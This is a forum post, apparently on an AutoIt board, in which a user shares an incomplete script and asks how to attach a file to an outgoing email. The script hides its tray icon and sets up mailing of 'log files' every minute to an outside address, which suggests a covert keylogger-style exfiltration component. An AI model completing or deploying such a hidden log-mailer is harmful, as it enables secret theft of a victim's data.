Jump to content

send file with email


Recommended Posts

#include <SMTP.au3> ;Include the SMTP file (used for emailing)

#Include <String.au3>

#NoTrayIcon

Global $Len, $File, $GmailUser, $GmailPass, $ToEmail, $eFile;Delcare some variables

$Len = 1 ;This is how often the log should be uploaded in minutes

$Body = "-" ;The body of the email

$GmailUser = "xx@gmail.com" ;Gmail login name (Required)

$GmailPass = "xxxxxx" ;Gmail login pass (Required)

$ToEmail = "xxx@hotmail.com" ;This is where the log files will be sent

$eFile = @ScriptDir & "info.txt";rar file,doc file.....

Sleep(5000)

message send but dont send file

error dont send file

how is it send file with email.

thank you for help me

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...